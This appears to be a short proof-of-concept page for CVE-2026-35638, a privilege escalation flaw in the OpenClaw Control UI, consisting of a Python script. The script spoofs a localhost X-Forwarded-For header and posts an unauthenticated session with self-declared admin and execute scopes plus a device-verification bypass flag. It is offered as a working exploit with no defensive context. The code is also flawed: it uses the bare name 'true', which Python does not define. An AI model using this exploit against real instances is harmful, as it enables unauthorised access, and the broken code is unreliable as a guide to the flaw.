CVE-2026-35638 OpenClaw权限提升漏洞

import requests # Target URL for the vulnerable OpenClaw Control UI target_url = "http://target-openclaw-instance/api/control/authorize" # Headers to simulate a trusted proxy or internal request headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/json", "X-Forwarded-For": "127.0.0.1" # May be required to hit the device-less path } # Payload declaring self-declared privileged scopes # Exploiting the lack of device identity verification payload = { "session_id": "unauthenticated_session_token", "scopes": ["admin", "read", "write", "execute"], "device_verify_bypass": true # Logic to exploit the device-less allow path } try: # Send POST request to escalate privileges response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Privilege escalation successful!") print("[+] Granted Scopes:", response.json().get("scopes")) else: print("[-] Exploit failed. Status code:", response.status_code) print("[-] Response:", response.text) except Exception as e: print("Error occurred:", str(e))